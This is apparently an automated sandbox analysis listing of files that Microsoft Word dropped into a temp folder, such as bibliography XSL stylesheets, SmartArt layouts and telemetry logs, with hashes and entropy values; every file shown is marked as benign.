Reputation:	low
Preview:	Timestamp.Process.TID.Area.Category.EventID.Level.Message.Correlation..05/22/2024 18:01:17.000.WINWORD (0x10A0).0x1A8.Microsoft Word.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Telemetry.LoadXmlRules","Flags":33777014401990913,"InternalSequenceNumber":22,"Time":"2024-05-22T18:01:17.000Z","Contract":"Office.System.Activity","Activity.CV":"t0fFWBZ5u0yu8X+ej1tpdw.7.1","Activity.Duration":254,"Activity.Count":1,"Activity.AggMode":0,"Activity.Success":false,"Activity.Result.Code":-2147024890,"Activity.Result.Type":"HRESULT","Activity.Result.Tag":528307459}...05/22/2024 18:01:17.000.WINWORD (0x10A0).0x1A8.Microsoft Word.Telemetry Event.b7vzq.Medium.SendEvent {"EventName":"Office.Telemetry.ProcessIdleQueueJob","Flags":33777014401990913,"InternalSequenceNumber":23,"Time":"2024-05-22T18:01:17.000Z","Contract":"Office.System.Activity","Activity.CV":"t0fFWBZ5u0yu8X+ej1tpdw.7","Activity.Duration":679,"Activity.Count":1,"Activity.AggMode":0,"Activity.Success":false,"Data.FailureDiag

C:\Users\user\AppData\Local\Temp\Diagnostics\WINWORD\App1716400876929763600_58C547B7-7916-4CBB-AEF1-7F9E8F5B6977.log

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	20971520
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	8F4E33F3DC3E414FF94E5FB6905CBA8C
SHA1:	9674344C90C2F0646F0B78026E127C9B86E3AD77
SHA-256:	CD52D81E25F372E6FA4DB2C0DFCEB59862C1969CAB17096DA352B34950C973CC
SHA-512:	7FB91E868F3923BBD043725818EF3A5D8D08EBF1059A18AC0FE07040D32EEBA517DA11515E6A4AFAEB29BCC5E0F1543BA2C595B0FE8E6167DDC5E6793EDEF5BB
Malicious:	false
Reputation:	high, very likely benign file
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\TCDDAB1.tmp\Content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.5280239200222887
Encrypted:	false
SSDEEP:	6:fxnxUXQAl8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyllNGHmD0wbnKYZAH/lMZqiv
MD5:	877A8A960B2140E3A0A2752550959DB9
SHA1:	FBEC17B332CBC42F2F16A1A08767623C7955DF48
SHA-256:	FE07084A41CF7DB58B06D2C0D11BCACB603D6574261D1E7EBADCFF85F39AFB47
SHA-512:	B8B660374EC6504B3B5FCC7DAC63AF30A0C9D24306C36B33B33B23186EC96AEFE958A3851FF3BC57FBA72A1334F633A19C0B8D253BB79AA5E5AFE4A247105889
Malicious:	false
Reputation:	high, very likely benign file
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .g.b...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDDAB1.tmp\gb.xsl

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	268317
Entropy (8bit):	5.05419861997223
Encrypted:	false
SSDEEP:	6144:JwprAJLR95vtfb8p4bgWPzDCvCmvQursq7vImej/yQzSS1apSiQhHDOruvoVeMUh:N9
MD5:	51D32EE5BC7AB811041F799652D26E04
SHA1:	412193006AA3EF19E0A57E16ACF86B830993024A
SHA-256:	6230814BF5B2D554397580613E20681752240AB87FD354ECECF188C1EABE0E97
SHA-512:	5FC5D889B0C8E5EF464B76F0C4C9E61BDA59B2D1205AC9417CC74D6E9F989FB73D78B4EB3044A1A1E1F2C00CE1CA1BD6D4D07EEADC4108C7B124867711C31810
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Local\Temp\TCDDAC3.tmp\Content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	256
Entropy (8bit):	3.4842773155694724
Encrypted:	false
SSDEEP:	6:fxnxUXDAlIJAFIloE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyMlI7loGHmD0+dAH/luWvv
MD5:	923D406B2170497AD4832F0AD3403168
SHA1:	A77DA08C9CB909206CDE42FE1543B9FE96DF24FB
SHA-256:	EBF9CF474B25DDFE0F6032BA910D5250CBA2F5EDF9CF7E4B3107EDB5C13B50BF
SHA-512:	A4CD8C74A3F916CA6B15862FCA83F17F2B1324973CCBCC8B6D9A8AEE63B83A3CD880DC6821EEADFD882D74C7EF58FA586781DED44E00E8B2ABDD367B47CE45B7
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .C.o.n.v.e.r.g.i.n.g.T.e.x.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDDAC3.tmp\ConvergingText.glox

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	11380
Entropy (8bit):	7.891971054886943
Encrypted:	false
SSDEEP:	192:VJcnLYnAVbOFLaCPLrGGbhaWEu6d3RmryqLkeAShObPb1AYcRMMXjkfa0nYBwggD:VcMC8lLrRbhy1ZqLyShYb1FHQ4C0nYQJ
MD5:	C9F9364C659E2F0C626AC0D0BB519062
SHA1:	C4036C576074819309D03BB74C188BF902D1AE00
SHA-256:	6FC428CA0DCFC27D351736EF16C94D1AB08DDA50CB047A054F37EC028DD08AA2
SHA-512:	173A5E68E55163B081C5A8DA24AE46428E3FB326EBE17AE9588C7F7D7E5E5810BFCF08C23C3913D6BEC7369E06725F50387612F697AC6A444875C01A2C94D0FF
Malicious:	false
Preview:	PK.........T.>................[Content_Types].xmlz.........=N.1...b.Eko(.B....(.Pp..=.u.?.....#q..ND.!$.J{.o....G..[Cv.....+.R.Nx..........0."u..S...$&.....Je..B..x......m......M^z....f....\|...N..Q..z.!.- .2.9y.i.8j...........0.AE..p.s~@../jw.#8.I.#....4.~Cl.:#h..f.PU.s.~........(.)F..Y......^x..PK.........T.>...V....L......._rels/.rels...J.@.._e..]AD.....x....3.t..T.w.\ZpA<x......v..'....z.........Y..[...<..2.TT....Q$.!.=.....&C....b".F.q.7...X3...7.8.N.}.. ?..8...#..,.L.3.#e...wZpZ.]S..:....t.....{..6.7.\|..,dH.e..K 7-}.~.v...5.......b..PK........q.~<.6..9 ...e......diagrams/layout1.xml..r.........{.]..u...xv7b.....HPd....t.q...b.i_a.'..P.f.3..F..1...U.u.*.2......?}..O..V.....yQ.Mf........w.....O....N.........t3;...e....j.^.o&.....w...../.w................e.................O..,./..6...8>^.^..........ru5...\.=>[M?......g..........w.N....i.........iy6.?........>.......>{yT...........x.........-...z5.L./.g......_.l.1.....#...\|...pr.q

C:\Users\user\AppData\Local\Temp\TCDDAC4.tmp\Content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	3.5502940710609354
Encrypted:	false
SSDEEP:	6:fxnxUXfQICl8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyXClNGHmD0wbnKYZAH/lMZqiv
MD5:	9B8D7EFE8A69E41CDC2439C38FE59FAF
SHA1:	034D46BEC5E38E20E56DD905E2CA2F25AF947ED1
SHA-256:	70042F1285C3CD91DDE8D4A424A5948AE8F1551495D8AF4612D59709BEF69DF2
SHA-512:	E50BB0C68A33D35F04C75F05AD4598834FEC7279140B1BB0847FF39D749591B8F2A0C94DA4897AAF6C33C50C1D583A836B0376015851910A77604F8396C7EF3C
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .i.s.o.6.9.0...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDDAC4.tmp\iso690.xsl

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	270198
Entropy (8bit):	5.073814698282113
Encrypted:	false
SSDEEP:	6144:JwprAiaR95vtfb8pDbgWPzDCvCmvQursq7vImej/yQ4SS1apSiQhHDOruvoVeMUX:We
MD5:	FF0E07EFF1333CDF9FC2523D323DD654
SHA1:	77A1AE0DD8DBC3FEE65DD6266F31E2A564D088A4
SHA-256:	3F925E0CC1542F09DE1F99060899EAFB0042BB9682507C907173C392115A44B5
SHA-512:	B4615F995FAB87661C2DBE46625AA982215D7BDE27CAFAE221DCA76087FE76DA4B4A381943436FCAC1577CB3D260D0050B32B7B93E3EB07912494429F126BB3D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Local\Temp\TCDDAC5.tmp\APASixthEditionOfficeOnline.xsl

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	333258
Entropy (8bit):	4.654450340871081
Encrypted:	false
SSDEEP:	6144:ybW83Zb181+MKHZR5D7H3hgtfL/8mIDbEhPv9FHSVsioWUyGYmwxAw+GIfnUNv5J:i
MD5:	5632C4A81D2193986ACD29EADF1A2177
SHA1:	E8FF4FDFEB0002786FCE1CF8F3D25F8E9631E346
SHA-256:	06DE709513D7976690B3DD8F5FDF1E59CF456A2DFBA952B97EACC72FE47B238B
SHA-512:	676CE1957A374E0F36634AA9CFFBCFB1E1BEFE1B31EE876483B10763EA9B2D703F2F3782B642A5D7D0945C5149B572751EBD9ABB47982864834EF61E3427C796
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">.. <xsl:output method="html" encoding="us-ascii"/>.... <xsl:template match="*" mode="outputHtml2">.. <xsl:apply-templates mode="outputHtml"/>.. </xsl:template>.... <xsl:template name="StringFormatDot">.. <xsl:param name="format" />.. <xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.. <xsl:when test="$format = ''"></xsl:when>.. <xsl:when test="substring($format, 1, 2) = '%%'">.. <xsl:text>%</xsl:text>.. <xsl:call-template name="StringFormatDot">.. <xsl:with-param name="format" select="substring($format, 3)" />.. <xsl:with-param name=

C:\Users\user\AppData\Local\Temp\TCDDAC5.tmp\Content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.541819892045459
Encrypted:	false
SSDEEP:	6:fxnxUXuqRDA5McaQVTi8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxny+AASZQoNGHmD0wbnKYZAH/lMZqiv
MD5:	C3216C3FC73A4B3FFFE7ED67153AB7B5
SHA1:	F20E4D33BABE978BE6A6925964C57D6E6EF1A92E
SHA-256:	7CF1D6A4F0BE5E6184F59BFB1304509F38E480B59A3B091DBDC43B052D2137CB
SHA-512:	D3B78BE6E7633FF943F5E34063B5EFA4AF239CD49F437227FC7575F6CC65C497B7D6F6A979EA065065BEAF257CB368560B5462542692286052B5C7E5C01755BC
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .A.P.A.S.i.x.t.h.E.d.i.t.i.o.n.O.f.f.i.c.e.O.n.l.i.n.e...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDDAC6.tmp\Content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	3.538396048757031
Encrypted:	false
SSDEEP:	6:fxnxUXcel8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyMelNGHmD0wbnKYZAH/lMZqiv
MD5:	149948E41627BE5DC454558E12AF2DA4
SHA1:	DB72388C037F0B638FCD007FAB46C916249720A8
SHA-256:	1B981DC422A042CDDEBE2543C57ED3D468288C20D280FF9A9E2BB4CC8F4776ED
SHA-512:	070B55B305DB48F7A8CD549A5AECF37DE9D6DCD780A5EC546B4BB2165AF4600FA2AF350DDDB48BECCAA3ED954AEE90F5C06C3183310B081F555389060FF4CB01
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .s.i.s.t.0.2...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDDAC6.tmp\sist02.xsl

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	250983
Entropy (8bit):	5.057714239438731
Encrypted:	false
SSDEEP:	6144:JwprA6OS95vtfb8p4bgWPzkhUh9I5/oBRSifJeg/yQzvapSiQhHZeruvoXMUw3im:uP
MD5:	F883B260A8D67082EA895C14BF56DD56
SHA1:	7954565C1F243D46AD3B1E2F1BAF3281451FC14B
SHA-256:	EF4835DB41A485B56C2EF0FF7094BC2350460573A686182BC45FD6613480E353
SHA-512:	D95924A499F32D9B4D9A7D298502181F9E9048C21DBE0496FA3C3279B263D6F7D594B859111A99B1A53BD248EE69B867D7B1768C42E1E40934E0B990F0CE051E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Local\Temp\TCDDAE6.tmp\Content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	254
Entropy (8bit):	3.4721586910685547
Encrypted:	false
SSDEEP:	6:fxnxUX9+RclTloE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyteUTloGHmD0+dAH/luWvv
MD5:	4DD225E2A305B50AF39084CE568B8110
SHA1:	C85173D49FC1522121AA2B0B2E98ADF4BB95B897
SHA-256:	6F00DD73F169C73D425CB9895DAC12387E21C6E4C9C7DDCFB03AC32552E577F4
SHA-512:	0493AB431004191381FF84AD7CC46BD09A1E0FEEC16B3183089AA8C20CC7E491FAE86FE0668A9AC677F435A203E494F5E6E9E4A0571962F6021D6156B288B28A
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .c.h.e.v.r.o.n.a.c.c.e.n.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDDAE6.tmp\chevronaccent.glox

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	4243
Entropy (8bit):	7.824383764848892
Encrypted:	false
SSDEEP:	96:22MQe4zHye8/djzF+JjvtmMkkBpF7e0LTkaf:22De4zHHCvF+nRBDXoaf
MD5:	7BC0A35807CD69C37A949BBD51880FF5
SHA1:	B5870846F44CAD890C6EFF2F272A037DA016F0D8
SHA-256:	BD3A013F50EBF162AAC4CED11928101554C511BD40C2488CF9F5842A375B50CA
SHA-512:	B5B785D693216E38B5AB3F401F414CADACCDCB0DCA4318D88FE1763CD3BAB8B7670F010765296613E8D3363E47092B89357B4F1E3242F156750BE86F5F7E9B8D
Malicious:	false
Preview:	PK........NnB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........TnB;..d.....h......._rels/.rels...J.0.._%.n..)"....<.w.&.4..!...y.\|.........\|.&3.o.....S..K.T5g.U....g..n.f....T.hcf...D.V..Ft....d....c2".z.....N.s._2....7.0.V.]P.CO?...`...8....4&......_i..Y.T...Z...g....{-...]..pH..@.8....}tP.)..B>..A...S&......9..@...7........b_.PK........r};5.z..............diagrams/layout1.xml.X.n.8.}.........4.+.(...@......(..J..._.!)..b..v.}.H..zf8...dhM....E..I.H..V.Y.R..2zw5L~....^..]...J_..4.\.\......8..z..2T..".X.l.F#......5....,....c....r.kR.I.E..,.2...&%..''.qF.R.2.....T;F...W.. ...3...AR.OR.O..J}.w6..<...,.x..x....`g?.t.I.{.I...\|X..g.....<BR..^...Q.6..m.kp...ZuX.?.z.YO.g...$.......'.]..I.#...]$/~`${.

C:\Users\user\AppData\Local\Temp\TCDDAE8.tmp\Content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	332
Entropy (8bit):	3.547857457374301
Encrypted:	false
SSDEEP:	6:fxnxUXSpGLMeKlPaw93Ti8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyipTIw9eNGHmD0wbnKYZAH/lMZqiv
MD5:	4EC6724CBBA516CF202A6BD17226D02C
SHA1:	E412C574D567F0BA68B4A31EDB46A6AB3546EA95
SHA-256:	18E408155A2C2A24D91CD45E065927FFDA726356AAB115D290A3C1D0B7100402
SHA-512:	DE45011A084AB94BF5B27F2EC274D310CF68DF9FB082E11726E08EB89D5D691EA086C9E0298E16AE7AE4B23753E5916F69F78AAD82F4627FC6F80A6A43D163DB
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .h.a.r.v.a.r.d.a.n.g.l.i.a.2.0.0.8.o.f.f.i.c.e.o.n.l.i.n.e...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDDAE8.tmp\harvardanglia2008officeonline.xsl

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	284415
Entropy (8bit):	5.00549404077789
Encrypted:	false
SSDEEP:	6144:N9G5o7Fv0ZcxrStAtXWty8zRLYBQd8itHiYYPVJHMSo27hlwNR57johqBXlwNR2b:y
MD5:	33A829B4893044E1851725F4DAF20271
SHA1:	DAC368749004C255FB0777E79F6E4426E12E5EC8
SHA-256:	C40451CADF8944A9625DD690624EA1BA19CECB825A67081E8144AD5526116924
SHA-512:	41C1F65E818C2757E1A37F5255E98F6EDEAC4214F9D189AD09C6F7A51F036768C1A03D6CFD5845A42C455EE189D13BB795673ACE3B50F3E1D77DAFF400F4D708
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt"......xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">.....<xsl:output method="html" encoding="us-ascii"/>.....<xsl:template match="/">....<xsl:call-template name="Start"/>...</xsl:template>.....<xsl:template name="Start">....<xsl:choose>.....<xsl:when test="b:Version">......<xsl:text>2010.2.02</xsl:text>.....</xsl:when>.......<xsl:when test="b:XslVersion">......<xsl:text>2008</xsl:text>.....</xsl:when>.... <xsl:when test="b:StyleNameLocalized">.. <xsl:choose>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1033'">.. <xsl:text>Harvard - Anglia</xsl:text>.. </xsl:when>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1025'">.. <xsl:text>Harvard - Anglia</xsl:text>.. </xsl:when>.. <x

C:\Users\user\AppData\Local\Temp\TCDDB0B.tmp\Content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	252
Entropy (8bit):	3.4680595384446202
Encrypted:	false
SSDEEP:	6:fxnxUXivlE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyydGHmD0+dAH/luWvv
MD5:	D79B5DE6D93AC06005761D88783B3EE6
SHA1:	E05BDCE2673B6AA8CBB17A138751EDFA2264DB91
SHA-256:	96125D6804544B8D4E6AE8638EFD4BD1F96A1BFB9EEF57337FFF40BA9FF4CDD1
SHA-512:	34057F7B2AB273964CB086D8A7DF09A4E05D244A1A27E7589BDC7E5679AB5F587FAB52A2261DB22070DA11EF016F7386635A2B8E54D83730E77A7B142C2E3929
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .a.r.c.h.i.t.e.c.t.u.r.e...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDDB0B.tmp\architecture.glox

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	5783
Entropy (8bit):	7.88616857639663
Encrypted:	false
SSDEEP:	96:CDG4D+8VsXzXc2zLXTJ2XFY47pk2G7HVlwFzTXNbMfmn2ivLZcreFWw5fc9ADdZm:CDG4DRGY23l2Xu47GL7YtT9V29yWvWdk
MD5:	8109B3C170E6C2C114164B8947F88AA1
SHA1:	FC63956575842219443F4B4C07A8127FBD804C84
SHA-256:	F320B4BB4E57825AA4A40E5A61C1C0189D808B3EACE072B35C77F38745A4C416
SHA-512:	F8A8D7A6469CD3E7C31F3335DDCC349AD7A686730E1866F130EE36AA9994C52A01545CE73D60B642FFE0EE49972435D183D8CD041F2BB006A6CAF31BAF4924AC
Malicious:	false
Preview:	PK.........A;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........pnB;.M.:....g......._rels/.rels...J.0.._%.n....xp..,{.i2M.........G..........7...3o/.......d.kyU....^..[>Q....j.#P.H......Z>..+!...B*\|@...G...E....E]..".3.......!..7....,:..,.......Ot..0r....Z..&1..U..p.U-.[Uq&.......................Gyy.}n.(.C(i.x........?.vM..}..%.7.b.>L..]..PK........EV:5K..4....H......diagrams/layout1.xml.Yo.6........S.`......$M...Q8A...R..T.k...K.4CQG..}.A..9.?R....!&...Q..ZW.......Q....<8..z..g....4{d.>..;.{.>.X.....Y.2.......cR....9e.. ...}L.....yv&.&...r..h...._..M. e...[..}.>.k..........3.`.ygN...7.w..3..W.S.....w9....r(....Zb..1....z...&WM.D<......D9...ge......6+.Y....$f......wJ$O..N..FC..Er........?..is...-Z

C:\Users\user\AppData\Local\Temp\TCDDB0E.tmp\Content.inf

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.5161159456784024
Encrypted:	false
SSDEEP:	6:fxnxUX+l8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyulNGHmD0wbnKYZAH/lMZqiv
MD5:	C15EB3F4306EBF75D1E7C3C9382DEECC
SHA1:	A3F9684794FFD59151A80F97770D4A79F1D030A6
SHA-256:	23C262DF3AEACB125E88C8FFB7DBF56FD23F66E0D476AFD842A68DDE69658C7F
SHA-512:	ACDF7D69A815C42223FD6300179A991A379F7166EFAABEE41A3995FB2030CD41D8BCD46B566B56D1DFBAE8557AFA1D9FD55143900A506FA733DE9DA5D73389D6
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .t.u.r.a.b.i.a.n...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

